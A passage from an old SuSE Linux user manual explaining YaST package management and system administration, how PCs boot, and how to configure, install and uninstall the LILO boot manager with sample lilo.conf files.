You may now select the package medium by entering '`Source:`' and pressing [↵]. Here the following items are available: '`Directory`', '`FTP`', '`Source medium`' and '`Floppy`'. You may need to change the default path (for directory and/or FTP). YaST will connect to the source medium as soon as you press [↵]. Thereafter, you will get a list of the available packages. Selecting '`FTP`' makes it possible to install packages even via the Internet.

The default address for FTP is: `ftp.suse.com/pub/SuSE-Linux/suse_update` (see figure 3.16, page 69).

Figure 3.16: Installing packages via FTP in YaST

> If you get an error message such as `"530 User ftp access denied"`, this means there are too many users currently logged on. Just try later.

First, work your way through to the package you want to install. Then you can install this package as usual by marking it using the [Space] bar. [F10] accepts your selection. The package itself is copied to `/tmp/ftp<processID>`. Thus, if something goes wrong, you may install it manually (see section 15.3.1, page 317).

3.12.10 Deleting packages

This selection gives you an overview of the packages that are currently installed. This list includes "foreign" packages—packages not included on the SuSE CD. YaST cannot update these packages nor can it check for any dependencies, unless they were installed in RPM format.

It is easiest to replace these packages with packages from the SuSE CD. Just select the packages you need to replace. A short description is displayed for each package if you press F2 . Press SPACE to mark a package for deletion. F10 deletes the marked packages.

Thereafter, you may install the corresponding packages from the CD.

3.13 Administration

Besides installing, YaST also helps you maintain your system as a brand new ☞*system administrator*.

After the installation, there are still things to do to adjust your system to your computer and your personal requirements.

Select `'System administration'` from the main menu (see figure 3.17).

Figure 3.17: Administering your system

3.13.1 Integrating hardware into your system

This option is designed for exactly specifying your hardware. In most cases, you will create *symbolic links* (☞*Link*) from the standard devices to your

Figure 3.18: Hardware configuration

personal hardware that allow you to access your hardware whenever you want without having to remember each device's name (see figure 3.18).

Configuring mice, CD-ROMs, scanners, and networking cards are quite easy, just follow the menu `;-)`

Much more challenging is the printer configuration:

Configuring your printer

Accessing a printer under Linux is not trivial[2]. Luckily, there is **apsfilter** to automatically detect each file type, convert it and send it to the printer.

PostScript plays a central role in printing on Linux as it does on UNIX generally. Printing a PostScript file on a PostScript printer is easy, but since PostScript printers are relatively expensive, most users have some other kind. To interpret a PostScript document and convert it into a form readable by any printer, we use the free software program **GhostScript** (**`gs`**).

apsfilter converts even ☞*ASCII* files into *ghostscript* files for printing them directly onto a PostScript printer or converting them using **GhostScript** into a format readable by the printer you have.

YaST provides the facility to easily install and configure **apsfilter** (see figure 3.19).

If your printer is capable of printing colors, just activate the corresponding flag. In `'Printer type'`, enter the type of your printer and whether it is a PostScript printer or not.

`'Printer name'` shows you a list of the supported printers. You can scroll through the qlist and choose a printer.

[2] the technical background is described in chapter 11

Figure 3.19: Setting up **apsfilter** with YaST

If your printer is not mentioned, try a similar one or the previous model (e. g., if you have LaserJet 5L, just choose LaserJet 4).

`‘Paper size’` will usually be `Letter`.

If your printer is connected to a serial ☞*interface*, you can adjust the baud rate as well.

Most PC printers are connected to the parallel port. You have to inform **apsfilter** which parallel port. This will be `/dev/lp1`, if your printer is connected to the first parallel port. `/dev/lp2` would only be for printers on the second parallel port. `/dev/lp0` is the parallel port on a **Hercules graphic device**.

3.13.2 Kernel and boot configuration

In this option you can adjust and configure your system’s boot setup.

You can install any of the precompiled kernels from the SuSE CD, if you notice your first choice wasn’t optimal (`‘Select Boot Kernel’`). YaST will suggest to write the kernel configuration file (`.config`) to `/usr/src/linux`

As soon as possible, you should build a customized kernel which is perfectly adapted to your system. This kernel (see chapter 13)will be much smaller and faster than those on the SuSE CD.

This option also enables you to create a boot disk for your system, if you haven’t done so already. This is highly recommended, since you will be able to boot your entire system even if something goes wrong while installing LILO or you can’t boot your system for some other reason.

Figure 3.20: Kernel and boot configuration

> If you have Linux already installed and want now to install Windows 95, you really *must* create a Linux boot disk! Windows 95 assumes that it has the computer to itself and therefore overwrites the **Master Boot Record** *without* any hints or warnings!

It might be useful to create a "rescue disk" (`'Create Rescue Disk'`), if your machine refuses to cooperate (see also section 16.3, page 327).

Configuring LILO

YaST also serves as a front-end (figure 3.21, page 74) for correctly configuring LILO. You can use LILO to boot other operating systems such as OS/2, DOS, or Windows 95/98. – Be careful with Windows NT. More background information on this subject may be taken from chapter 4.

The `'Append line'` is normally left blank (see section 4.4.2).

`'Where to install LILO?'`: If you have *only* Linux on your machine the `Master-Boot-Sector` should be the correct place. If you plan to start Linux from another boot manager you should write LILO to the `Boot Sector of root partition`. `To disk` should be self explanatory. The background on this subject may be found in section 4.3

`'Timeout'`: in seconds.

`'"linear"option'`: This option normally is *not* needed. See section 4.4.2.

`'F4 = new configuration'`: give a name to your "configuration". It has proven to be a good choice to name this to `linux`. If there already exist configuration entries these will be displayed. You may change an existing configuration by pressing F5 . This menu is shown in figure 3.22, page 74:

`'Name of configuration'`: well, it's your choice.

Figure 3.21: LILO: Installation

Figure 3.22: LILO: Boot configuration

'`Which operating system`': Here you have two alternatives: `Boot Linux` and `Boot DOS`. The latter is also the correct option if you want to boot DOS, OS/2 or Windows 95/98.

'`Root partition`': Press F3 and select your root partition.

'`Kernel optional`': only say yes if this kernel is *not* permanently available. This might be a kernel that is only installed for test purposes.

'`Kernel LILO should boot`': The default path now is `/boot/vmlinuz`. F3 lets you scroll to your directory structure.

We recommend to add another section (e. g. `old`). For this section please give in the name `/boot/vmlinuz.old` for this kernel and select the `'Kernel optional'` entry. After a re compilation of a kernel (see chapter 13) with automatic LILO installation a backup of your existing kernel is made. This enables you to start up the system even if the new kernel doesn't boot.

3.13.3 Configuring your network

General networking configurations can be done in YaST. Always configure your network in any case since there are a lot of programs and applications that require you to have a correctly working network, even if you're not connected to a real network at all.

General configuration of a network mainly consists of assigning an ☞*IP Address* and a name. It is also possible to add one or more nameservers, create an YP client, and to install a **sendmail** configuration file which should be adequate for most cases.

During configuration, you will be asked whether you only want **loopback** installed or a complete TCP/IP network, If you don't have an Ethernet card installed, you should answer `'yes'` to **loopback**. This also spares you unnecessary further configuration.

There is a menu concerning PPP configuration (see section 7.2.2, page 127).

More information about configuring networks is found in chapter 6.

3.13.4 Integrating / Releasing CD Live Filesystem

If you choose to integrate the Live Filesystem, links will be created for every package not already installed on your system. These programs can be easily started from CD without using disk space. Since while using the live filesystem your CD-ROM will be mounted every time you boot, you *have* to leave the CD in your CD-ROM drive (on mountpoint `/SuSE`). If you want to mount another CD, first boot with our live filesystem and then unmount it using the command:

```
earth: # umount /S.u.S.E.
```

and mount the other CD afterwards wherever you want to.

In some cases, even base programs are integrated from CD into the live filesystem. In this special case, these programs are constantly running and, therefore, you will not be able to unmount the CD. If you must mount another CD anyway, our base system is designed so that it is always able to run even without the CD. So just boot your computer with the CD removed. Linux will display a couple of error messages which you can ignore. All programs for accessing a CD are on your system.

If you receive the error message `"no space left on device"`, this could be because the ☞*inode* density on your system is too small. With very small partitions, this is the most common error. Unfortunately, this can only be solved by reformatting and decreasing the inode size (e. g., 1 KB per inode instead of 4 KB per inode—see section 3.5).

If your HD space is used up, you can't even start YaST to disintegrate the live filesystem, as YaST can't create the files it needs to start. In this case, just delete some of the symbolic links that point to the directory `/SuSE`[3] and try starting YaST again.

3.13.5 Login configuration

Here you may set whether to boot in text mode or in graphical mode with the X Window System. If you want to use the graphical login there are two alternatives: **XDM**, or **KDE**. If you use **KDE** you may additionally give in who is permitted to **`shutdown`** the system. The alternative is loging in via text console and start the X Window System by typing **startx**.

> If you are not absolutely sure that the X Window System is configured correctly you should not activate either of the graphical logins. Please test whether you can start the X Window System from console before activating a display manager

Now runlevel 3 is set up as default runlevel in `/etc/inittab`. A variable in `/etc/rc.config` will be set (see section 17.6, page 343). If runlevel 3 serves for another purpose on your machine *neither* of the graphical logins will be activated.

3.13.6 User management

YaST provides a convenient means of maintaining, adding, and deleting users (see figure 3.23).

Figure 3.23: User management with YaST

Moreover there are two scripts that are run. These might come in handy for common tasks you want to perform after a user has been added (or removed).

[3] Deleting files is covered in section 19.8.5, page 366

- After a user account has been set up the script `/usr/sbin/useradd.local` is launched (only if it exists). At this time the user account is both written to `/etc/passwd` and `/etc/shadow`. Even the home directory exists and the default configuration files from `/etc/skel` have been copied.
- Before removing a user account the script `/usr/sbin/userdel.local` is launched (if it exists). By the time of removing the user the account still exists in `/etc/passwd` and `/etc/shadow`. The home directory still exists.

Both scripts accept the user name as parameter. If you need additional data these might be gathered easily via `/etc/passwd`

If you are an experienced UNIX user, it might be too much work to start YaST for a simple **useradd**. Needless to say, you can use the standard programs **useradd** and **userdel** to achieve the same result.

3.13.7 Group administration

YaST even lets you administer group entries.

Figure 3.24: Group administration using YaST

Under Linux (as on all other UNIX systems) each user needs at least to be assigned to one group. This is necessary as permissions (for certain files) depend from the group the user belongs to. This is how to protect directories of a group from others by assigning the group a group password.

Some groups already exist, e. g. the user groups `'users'`, `'root'`, and many more.

`'users'` is just the textual representation of the user groups. Internally groups are allocated via the“GID” (group id). The group configuration file is `/etc/group`.

This is just background information as YaST lets you assign groups more easily. In `'System administration'` there is the dialog for administering groups (`'Group management'`). This dialog is shown in figure 3.24, page 77

3.13.8 Changing the YaST configuration file

SuSE Linux is maintained by a central configuration file (`/etc/rc.config`). This file is read at boot time by the boot scripts which configure your system.

By choosing the option `'Change configuration file'`, YaST supplies an editor for making changes to all these entries without having to know the exact syntax (see figure 3.25).

Figure 3.25: Editing the configuration file with YaST

Move the cursor onto the entry that you want to change and press ↵ or F3 to change its value. If you have edited this file without using YaST, you should run the script **SuSEconfig** to update the changes. This script reads `/etc/rc.config` and adjusts all program specific changes in its configuration files. A detailed description of all configuration files is found in section 17.6.

3.13.9 Creating backups

This option helps you to back up all modified and new files and packages to a file or tape. These are configuration files in most cases.

The dialog consists of three parts (see figure 3.26):

1. Choosing the files to be backed up:

   Here you can tell YaST which directories should be excluded from the backup. Predefined are `/tmp` `/dev` and `/proc`. You should add mounted CD-ROMs or NFS-mounted filesystems to this list. The less you want to be backed up, the faster it will run, since unnecessary comparisons with package lists are omitted. Using + and - , you can add new directories or remove them. Pressing F10 leads to the next step.

Figure 3.26: Backup with YaST—choosing directories to exclude

2. Searching

   In this step, YaST searches for files which should be backed up. The number and size of the packages found are updated while searching. After this has been done, there will be a list with all the files that have been found. Here you can still unselect files by using the SPACE bar.

3. Entering commands

   Here you decide how those files are going to be saved. You can give archive names, options and more.

This back up mechanism can only work if the dates of the files have not been otherwise changed. Furthermore, this function requires considerable RAM. Filenames of an ordinary CD take up to 6 MB RAM. Also, you need enough free disk space to save the backup archive. Compressing the archive will lead to a file reduced in size—approximately half of the original. The best way to do backups is to use a tape.

Chapter **4**

Booting and boot managers: LILO, loadlin, etc.

This chapter should describe various possibilities of ☞*booten* a Linux system. For clarity we will describe some technical details of booting a PC below.

4.1 Booting a PC

After turning on your computer, the first thing that happens is that the BIOS (Basic Input Output System) takes control, initializes the screen and keyboard, and tests the main memory. Until this task is completed, no external devices or external storage media are known to the system.

Once the basic system has finished its internal setup, it starts to verify the hardware around it. Date, time, and information about some of the most important external devices is read from the CMOS settings (usually referred to as the **CMOS setup**). After reading the CMOS, the BIOS should recognize the first hard disk (including details such as its geometry). It can then start to load the operating system (OS) from there.

To load the OS, the system loads a 512-byte data segment from the first hard disk into main memory and executes the code stored at the beginning of this segment. The instructions contained there determine the rest of the boot process. This is the reason why the first 512 bytes of the hard disk are often called the *Master Boot Record* (MBR) (☞*MBR*).

Even though the whole process is rather complicated and this description is fairly simplistic, it should be clear that up to this point (loading of the MBR), the boot sequence is independent of the installed operating system.

Master Boot Record

The layout of the MBR has been certified by an independent convention. The first 446 bytes are reserved for program code.[1] The next 64 bytes offer space for a partition table for up to four partitions.[2] The last two bytes have to contain a special "magic number" (AA55). Any MBR which replaces this number by a different number is rejected.

[1] The code itself—and its capabilities—do rely on the system that created the MBR.
[2] Without this partition table, no filesystem can exist—you cannot use the hard disk.

Boot sectors

Boot sectors are the first sectors on a hard disk partition.[3] They offer 512 bytes of space and are designed to contain code which is able to launch an operating system on this partition. Boot sectors of formatted DOS, Windows, and OS/2 partitions do exactly that. In contrast, Linux boot partitions are empty at the very start. A Linux partition cannot be started directly, although it may contain a kernel and a valid root filesystem.

A valid boot sector follows the conventions and enters the “magic number” of the MBR into the last two bytes.

Booting DOS or Windows 95

The `MBR` contains information that determines which partition of a hard disk is “active”, i. e., which partition should be searched for the operating system to be booted.[4] The executable code in the MBR (first stage of the boot loader) tests whether the marked partition contains a valid boot sector.

If this is the case, the second stage of the boot loader can be started from there. DOS system programs can now be loaded and you will see the usual DOS prompt.

Under DOS, only primary partitions can be marked active. Therefore, you cannot use logical partitions inside an extended partition as bootable DOS partitions.

4.2 Different boot concepts

The most simple boot concept affects only one machine with one operating system installed. A widely deployed PC configuration is DOS or Windows 95 as the only system installed. The boot sequence for this case has already been outlined.

A similar concept can be used for Linux,[5] if Linux is the only operating system being used. In this case, one could theoretically skip the installation of LILO. The big disadvantage of doing this is that you can’t pass additional parameters to the system kernel at boot time.

As soon as there is more than one operating system installed, there are a couple of new boot possibilities.

Booting another OS from a floppy disk The first OS can be booted from the hard disk. Other operating systems can be booted by using boot disks.

- *Requirements:* the floppy drive must be bootable.
- *Advantage:* you can skip the potentially tricky boot loader installation.
- *Disadvantage:* you have to make *sure* that you are not running out of working boot disks.

[3] except for the extended partition which serves as a “container” for other partitions

[4] This implies that DOS has to be installed on the first hard drive.

[5] You would have to write the Linux kernel directly onto a “raw” partition and launch this from the MBR. This is rather uncommon, however.

- It might be an advantage or disadvantage that your Linux is not capable of booting without a boot disk.

Boot chaining of additional systems The same OS is always booted and others can optionally be started from within the first OS.

- *Requirements:* adequate programs for chain booting of operating systems must be available.
- An *example* is the loading of Linux from DOS using **loadlin** or starting a NetWare server from DOS with **server.exe**.

Installing a boot manager Theoretically, this allows you to use an arbitrary number of operating systems on a single machine. The choice of systems is done at boot time. Changing operating systems requires a reboot.

- *Requirements:* the chosen boot manager must work smoothly with all installed operating systems.
- *Examples* for (at least under certain circumstances) cooperating boot managers are OS/2[6] and the DOS boot loader **boot.sys**.

The following section describes installation and configuration of a boot manager, using the Linux boot manager LILO. A complete description of LILO's abilities can be found in [Almesberger, 1994].[7] Thereafter we have added some facts on **loadlin**.

4.3 An overview of LILO

LILO—here you go...

The Linux boot loader is usually installed in the `MBR` (see section 4.3 and section 4.5). When started, LILO already has access to both real mode hard disks, and due to its installation, is able to write all data to the raw device[8] without information on partitioning. Because of this, operating systems can be booted from the first as well as from the second hard drive. The entries in the partition table that the standard DOS `MBR` uses to mark the active partition are ignored when using LILO in the `MBR`.

An important difference to the standard DOS boot sequence is that you can select any of the installed systems at boot time when using LILO. After loading the `MBR` into memory, LILO is started and asks the user to select one of the installed operating systems (section 4.3).

What is LILO?

LILO is a versatile boot manager. It can launch an operating system in the following ways:

[6] more in section 4.7.3

[7] This file can be printed by entering

```
earth:/usr/doc/packages/lilo # lpr user.dvi.
```

[8] A raw device is a device that is accessed directly without using a filesystem.

- by loading the boot sector of a partition and starting an operating system from this partition. This is the same as with other boot managers.
- by loading the Linux kernel and starting Linux. This cannot be done by most other boot managers.

Furthermore, LILO offers the important capability to pass a command line to the kernel. For security reasons, this can be protected totally or partially by a password.

How to boot with LILO?

When LILO is launched, it displays the text `LILO` and a greeting message (which you have entered during installation). Thereafter, a command prompt appears:

```
boot:
```

Here, you select your operating system by entering its name, which is then booted. The name of the operating systems has also been set by you during installation. At this time, you can pass a parameter line to the Linux kernel. You can also get a list of all the names of all operating systems by pressing TAB .

The components of LILO

The entire LILO machinery includes the following components:[9]

- the beginning, or *first step*, of the LILO code in a boot sector which activates the system boot
- the *heart* of the LILO code localized in `/boot/boot.b`
- a *map* file, normally `/boot/map`, where LILO enters the location of Linux kernels and other data during its installation
- the different Linux kernel and boot sectors that LILO should offer

> Any write access (even through file movements) on any of these files turns the map file corrupt thus requiring you to *reinstall* LILO (section 4.5). This mainly applies when you change to another kernel.

Where LILO can be installed

This is referring to the above-mentioned *first step* of LILO. Before going into detail, we would like to point out a very important general restriction:

> *All* parts of LILO must be located on the *first 1024 cylinders* of hard disks.

This is because these are the only cylinders available when the BIOS starts the system. With older BIOSes and IDE disks, one can also be restricted to either of the first two hard drives (`/dev/hda` and `/dev/hdb`). If there are any

[9] By the way, the boot sectors installed by LILO contain a typical virus boot sequence. DOS virus scanners typically claim to have found the **AIRCOP** boot sector virus in files such as `/boot/any_b.b` or `/boot/any_d.b`.

(E)IDE hard disk installed your SCSI devices will be not able to boot either. This is rather annoying as the 1024 cylinders limit is reached at a very much higher capacity with SCSI devices (8 GB) than with IDE devices (504 MB to 2 GB).

Only some newer BIOSes allow access to additional devices, e. g. in connection with an EIDE adapter (up to 4 EIDE devices). Lots of modern SCSI host adapters allow the "push at the beginning" of SCSI devices for making them bootable. If you want to make use of this feature with LILO have a look at the **`disk`** options in 90.

Consider this *before* first-time installation (section 2.7.1) —it is too late afterwards and causes you lots of extra work. For more information, see section 4.8.2.

For storing the LILO *first step*, there are three possibilities:

- on a *diskette*. This is the most secure but also the slowest alternative for booting with LILO (see section 4.6). Choose this alternative if you do not want to change boot sectors.
- in the *boot sector* of a primary Linux partition on the first hard disk. This leaves the MBR untouched. Before being bootable, the partition has to be marked active with **fdisk**. If Linux is fully installed on logical drives or partitions on the second hard drive, there is only the boot sector of the second drive left (if there is one). Linux **fdisk** can also activate such a partition.

  If you want to boot multiple systems from hard disk, this is quite bothersome. Every time you want to boot you have to activate the corresponding boot sector *beforehand*. The next two variants are much less cumbersome.
- in the *Master Boot Record*. This variant offers the highest flexibility. Moreover, this is the only alternative possible if all of the Linux partitions reside on the second hard drive and there is no extended partition on the first drive. Every setting of the MBR must be edited with extreme care since errors may have severe consequences. The safety aspects are described in section 4.5.
- *another* boot manager is already installed and you want to continue using it. Depending on its flexibility and power, there are several variations. A common case: you have a primary Linux partition on the second hard drive where you boot Linux. Your boot manager is able to boot this partition via a boot sector. Then you can activate your Linux partition by installing LILO into this boot sector and tell your boot manager that it is active.

> *Be careful* if you try to make a *logical* Linux partition bootable by installing LILO onto it. Success *is not guaranteed*at the moment , even if your other boot manager is able to launch logical partitions.

Try it if you like. The safest way is to try it with a tiny Linux installation to see if it will work. Perhaps you will be lucky. The recommended way is still to create a primary and bootable Linux partition.

4.4 Configuring LILO

LILO is a flexible boot manager that offers many ways of adapting a configuration to one's needs. The most important options and meanings are described below. If you want to go into more detail, look at [Almesberger, 1994].

Configuration of LILO is done in `/etc/lilo.conf`. If you are installing LILO for the first time, we recommend you use YaST to configure LILO. Refinement by editing `/etc/lilo.conf` can be done later.

> `/etc/lilo.conf` should only be readable for '`root`', as it might contain passwords (see section 4.4.2, page 89; this is the default setting with SuSE Linux. If in doubt, just check or invoke the following command:)
> **`earth: #`** `chmod 0600 /etc/lilo.conf`

It is recommended you keep any existing old (and working) `lilo.conf` backed up in a safe place. Your settings only go into effect when you reinstall LILO after changing `/etc/lilo.conf` (see section 4.5).

4.4.1 Construction of `lilo.conf`

`/etc/lilo.conf` starts with a **`global section`** followed by one or more **`system sections`** for each operating system LILO should start. A new section is started by either of **`image=`** or **`other=`**.

The order of entries in `/etc/lilo.conf` only matters in as much as the first one in the list is booted by default if no user interaction is taken —this can be set to **`delay=`** and **`timeout=`**.

file contents 4.4.1 (page 87) shows a sample configuration of a machine with both DOS and Linux is shown in file contents 4.4.1, page 87. There are two Linux kernels (an older and a newer one) on `/dev/hdb3` as well as MS-DOS (or Windows 95) on `/dev/hda1`.

Anything between a '`#`' and the end of line is regarded as a comment. Spaces and comments are ignored by LILO and can be used to improve readability.

Now we go through the most important lines step by step:

- **Global section** (Parameter part)
  - **`boot=`**<**`bootdevice`**> The device on whose first sector LILO should be installed.
    <bootdevice> may be: a floppy disk drive (`/dev/fd0`), a partition (e. g., `/dev/hdb3`), or a whole disk (e. g., `/dev/hda`). The last means installing LILO in the MBR. Default: if this option is missing, LILO is installed on the actual root partition.
  - **`prompt`**
    Forces sending the LILO prompt. The default is: no prompt (compare to **`delay`** further down). This is recommended if LILO must manage more than one system. In addition, **`timeout`** should be set to guarantee an automatic reboot if nothing is entered at the prompt.
  - **`timeout=`**<**`tenth-seconds`**>

```
# LILO Configuration file
# Start LILO global Section
boot=/dev/hda                # LILO Installation target
backup=/boot/MBR.hda.970428  # Backup file for the old  MBR
                             # Apr 28 1997
#compact        # faster, but won't work on all systems.
linear
message=/boot/greetings      #  LILO's Greeting
prompt
password = q99iwr4           # General LILO password
timeout=100     # wait at prompt for 10 s before default
                # is booted
vga = normal    # normal text mode (80x25 characters)
# End LILO global section

# Linux bootable partition config begins
image = /vmlinuz             #  Setting
    root = /dev/hdb3         #  Root partition for kernel
    read-only
    label = Linux
# Linux bootable partition config ends

# Second Linux bootable partition config
image = /vmlinuz.old
    root = /dev/hdb3
    read-only
    label = Linux.old
# 2nd Linux bootable partition config ends

# DOS bootable partition config begins
other = /dev/hda1
    label = DOS
    loader = /boot/chain.b
    table = /dev/hda
# DOS bootable partition config ends
```

File contents 4.4.1: Sample configuration in `/etc/lilo.conf`

Sets a timeout for the prompted option, thus enabling an automatic reboot if no entry occurs in the given time. <tenth-seconds> is the remaining time in 0.1s increments. Pressing [Shift ⇑] starts the timeout over. Default: infinite, e. g., no automatic reboot.

- **Linux section**
  - **`image=`**<**`kernelimage`**>
    Place here the filename of the kernel, including its directory location. With your new system, this most probably is `/boot/vmlinuz` or `/vmlinuz` for older SuSE Linux systems.
  - **`label=`**<**`name`**>
    This name has to be unique in `/etc/lilo.conf`. Otherwise, you can freely choose a name for the system (e. g., **`Linux`**). Maximum length is 15 characters. You should use only letters, numbers and underscore for names—no blanks or special characters.[10] The default is the filename of the kernel image (e. g., `/boot/vmlinuz`).
    By entering this name at the LILO prompt, you select which system to boot. It is recommended that, if there are many systems installed, you keep track of them in a special message file (**`message=`**).
  - **`root=`**<**`rootdevice`**>
    This is for giving the kernel the name of the root partition (e. g., `/dev/hda2`) of your Linux system. This is recommended for security reasons. If this option is omitted, the kernel takes its own root partition.[11]
- **Other systems**
  - **`other=`**<**`partition`**>
    `other` tells LILO to start the partitions of other systems such as DOS (e. g., `/dev/hda1`).
  - **`loader=`**<**`Boot loader`**>
    For loading a boot sector that belongs to another operating system, LILO constructs a *pseudo MBR* in its map file. At boot time, LILO first starts this pseudo MBR and this starts the foreign boot sector. This option specifies the file where to get the code for the pseudo MBR.
    Default: `/boot/chain.b` (usually, this is correct).
    Sometimes another OS that needs to be booted from the first HD (e. g. DOS) is supposed to boot from another HD using LILO. There are additional options, that cause the HDs to swap according the their device numbers:
    `map-drive=`<**`Number`**> and **`to=`**<**`Number`**>. See: file contents 4.4.2 (page 89).
    The loader `os2_d.b` servers for loading OS/2 from the second HD[12]*New in LILO-Version 20:* “Switching” devices has to be set explicitly now (see file contents 4.4.2)

[10] For more on the specific rules for which characters to use, see [Almesberger, 1994], 3.2.1.
[11] This can be seen using the command **rdev** <kernelimage>.
[12] . `any_b.b` (Booting from `B:`) and `any_d.b` (Booting from second HD) are obsolete from LILO-Version 20

```
# Booting DOS from the second hard drive
# DOS bootable partition config begins
other = /dev/hdb1
  label = DOS
  loader = /boot/chain.b
     map-drive = 0x80    #  first hd: BIOS number 0x80
     to        = 0x81    # second hd: BIOS number 0x81
     map-drive = 0x81
     to        = 0x80
  table = /dev/hdb
# DOS bootable partition config ends
```

File contents 4.4.2: `/etc/lilo.conf` Extract: Booting DOS from 2. HD

- **`table=`<`ptabelle`>**
  <ptabelle> sets the source device for the partition table written into the pseudo MBR (normally `/dev/hda` or `/dev/sda`).
- **`label=`<`name`>**
  Name (free choice) for the system. Recommended, because the default—the raw device name—is not that informative.

4.4.2 Other LILO configuration options

The last section covered the required entries in `/etc/lilo.conf`. Other useful options will be discussed here.

Those options that are marked as image options belong to the appropriate section of the operating system. The others are considered for the global section of `/etc/lilo.conf`.

- **`backup=`<`backup`>**
  The file where LILO backs up the boot sector. The default is `/boot/boot.xxxx`, where `xxxx` is the internal device number of the installation partition.[13]
  We recommend not using a cryptic name. See our example above. You will not be able to use the implemented uninstall feature of LILO. Well, this is better done manually anyway (see section 4.5, page 92)

> If the backup file exists, LILO does *not* create a new one. Make sure to use a name not already in use.

- **`compact`**
  This option is recommended if you want to install LILO onto a floppy disk. If enabled, LILO tries to read more sectors at a time and thus might boot faster. This does not work on every machine. We do not recommend that you set this as the normal way is safer and, after all, it is only one or two seconds difference.

[13] To be found in kernel sources under `/usr/src/linux/init/main.c`, function `parse_root_dev()`.

- **disk=**<**device file**>
  bios=<**BIOS device number**>
  cylinders=<**amount**>
  heads=<**amount**>
  sectors=<**amount**> Here you can tell LILO precisely which BIOS device number and geometry is should use. This is scarcely ever needed. There is one major exception:

  IDE-SCSI system: If you own a BIOS that is capable of switching the boot devices *SCSI prior to IDE* and you want to use this feature, you need to tell LILO the switched order from BIOS point of view. This is achieved by an extra entry in the global section of `lilo.conf`. An example for a system with one SCSI and one IDE disk may be seen in: file contents 4.4.3, page 90

```
# Enable LILO to correctly access /dev/sda and /dev/hda
# at boot time if their boot order is interchanged in
# the BIOS:
disk = /dev/sda    #   The SCSI disk is regarded as ...
   bios = 0x80     #   ... first BIOS disk;
disk = /dev/hda    #   the IDE disk is regarded as ...
   bios = 0x81     #   ... second BIOS disk.
```

File contents 4.4.3: `lilo.conf` Extract: Boot order: SCSI prior to IDE

- **linear**
  This option causes all references to sectors to be written as logical instead of physical addresses. This option might come in handy if LILO does not recognize the geometry of the hard disk correctly. Still, it does not make the 1024 cylinders limit obsolete. This is scarcely ever needed.

> The **linear** option does *not* remove the 1024 cylinders boundary! Moreover it *only* works below an *extended* ("65535 heads limit") boundary, which with modern HD architecture is even more rigorous than with old HDs: 512 MB / 1 GB / app. 2 GB for 16 / 32 / 63 sectors / head.

- **message=**<**message-file**>
  Points to a text file that should be shown on screen at system boot up. It should not contain more than 24 lines and can present an overview of the LILO boot selection. Recommended.

> If this option is set, the message file belongs to the LILO boot machinery and, after every change of this file, LILO has to be reinstalled (section 4.5).

- **password=**<**password**>
  May be located either in a global or system specific section. Locks LILO services and booting with a password. If you take this seriously, you should remove the password from `lilo.conf` after first use. As `'root'`, you can set a new password for LILO any time you like (just

reinstall it, afterwards) It is recommended to additional set the option **restricted**, as otherwise one might be able to launch a shell, see manpage of **lilo.conf** (**man lilo.conf**)!

- **read-only**

  This option tells the kernel to initially mount the root partition read-only as common to all Linux systems. If this is omitted, the kernel uses its internal settings.[14]

- **delay=<tenth-seconds>**

  If the prompt is *not* explicitly set, the user can order a prompt by typing (Shift ⇑ , Ctrl , Alt). The **delay=** option sets the time to elapse before LILO boots the first system in its list. The default is 0, e. g., no waiting.

  The **delay** option has no effect if a prompt is ordered by **prompt** anyway.

- **vga=<mode>**

  Selects VGA mode at startup. Valid modes are `normal` (80x25), `ext` (80x50) or `ask` (well, ask).

- **append="<parameter>"**

  Image option for Linux kernel. Enables passing kernel parameters and passing hardware components at the LILO prompt. The kernel first gets the **append** line then the prompt. That's why prompt commands predominate at collisions. Example: **append="mcd=0x300,10"**.

4.5 Installing and uninstalling LILO

During a new Linux installation or later, YaST will lead you through the steps of installing LILO interactively.

In this section, we assume that some action is required that goes beyond what YaST can accomplish and we look more deeply at how LILO works during installing and uninstalling.

> The installation of a boot manager is tricky! Ensure *in advance* that you are *100%* able to boot Linux and other mounted systems. You must have **fdisk** installed on a crash recovery disk, otherwise you might find yourself in the bad situation of not being able to access your hard disk at all!

Installation after changing the configuration

If any of the LILO components have changed or you have modified your configuration in `/etc/lilo.conf`, you will have to reinstall LILO. This is easily done by launching the "*Map Installer*" like this:

```
earth: # /sbin/lilo
```

What happens now is that LILO writes a backup of the target boot sector, writes its *first step* into it and creates a new map file (see also section 4.3). LILO now announces each installed system—for an example see screen output 4.5.1.

[14] This can be seen using the command `rdev-R` <kernelimage>. Installation and freshly compiled kernels have read-only set by default. Therefore, you normally do not need this option.

```
Added Linux*
Added Linux.old
Added DOS
```

Screen output 4.5.1: Output after launching LILO

After correct installation the machine can be rebooted:

```
earth: # shutdown -r now
```

During reboot, the BIOS first performs its system test and directly afterwards you will see LILO and its command prompt where you can enter parameters and select a boot image from the recently installed configurations. TAB shows you a list of all installed systems.

Installation after recompiling a kernel

If you want to include a freshly created kernel into your LILO boot setup, the Linux kernel Makefile offers an all-in-one solution.

There is a **`target`** named **`zlilo`** in the `Makefile` which automatically copies `/vmlinuz` to `/vmlinuz.old` and the new kernel to `/vmlinuz` and reinstalls LILO. This can be done by entering the command:

```
earth:/usr/src/linux # make zlilo
```

instead of **make zImage**. This, of course, is only useful if you have edited `/etc/lilo.conf` *in advance*. The new, as well as the old, kernel should now be listed. See file contents 4.4.1 for an example of the resulting `/etc/lilo.conf`.

At the LILO prompt, you can launch either of the two kernels. This makes your boot more secure, because you can still boot your old kernel even if the new one fails.

For more on creating a new kernel, see chapter 13, page 263.

Uninstalling LILO

Uninstalling a boot manager is tricky! Please ensure *in advance* that you are *100%* able to boot Linux and other systems with their respective boot disks. You must have **fdisk** installed on any boot disk, otherwise you might find yourself in the unfortunate situation of not being able to access your hard disk at all!

Perhaps one day it will be necessary for you to uninstall LILO `:-(` This is accomplished by writing back the target boot sector where LILO has been installed. This is no problem under Linux *if* there is a valid backup (see section 4.4.2, Option **`backup`**).

> A boot sector backup is turned invalid if the partition has got a new filesystem (for DOS users, formatting the hard drive renders the boot sector invalid). The partition table of an MBR backup becomes invalid if the hard disk in question has been repartitioned in the meantime. Obsolete "backups" are time-bombs. It is best to delete them as soon as possible. Unpacking old and invalid backups into system sectors is a direct route to data loss!

It is very simple to get back a DOS, Windows 95 or OS/2 MBR. Just enter the MS-DOS command (available since 5.0)

```
C:\> FDISK /MBR
```

or on OS/2

```
C:\> FDISK /NEWMBR
```

These commands only write the first 446 bytes (the boot code) into the MBR and leave partitions untouched.[15]

